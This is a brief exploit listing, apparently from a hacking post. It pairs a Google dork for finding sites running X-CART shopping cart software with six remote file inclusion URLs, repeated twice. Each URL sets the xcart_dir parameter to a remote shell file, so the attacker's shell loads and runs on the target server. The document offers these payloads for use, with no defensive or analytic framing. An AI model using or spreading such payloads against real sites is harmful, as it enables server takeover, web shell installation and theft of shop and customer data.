Google dork : "X-CART. Powerful PHP shopping cart software"
Exploit
site.com/[xcart-path]/config.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/prepare.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/smarty.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/customer/product.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/provider/auth.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/admin/auth.php?xcart_dir=http://shell.txt
Exploit
site.com/[xcart-path]/config.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/prepare.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/smarty.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/customer/product.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/provider/auth.php?xcart_dir=http://shell.txt
site.com/[xcart-path]/admin/auth.php?xcart_dir=http://shell.txt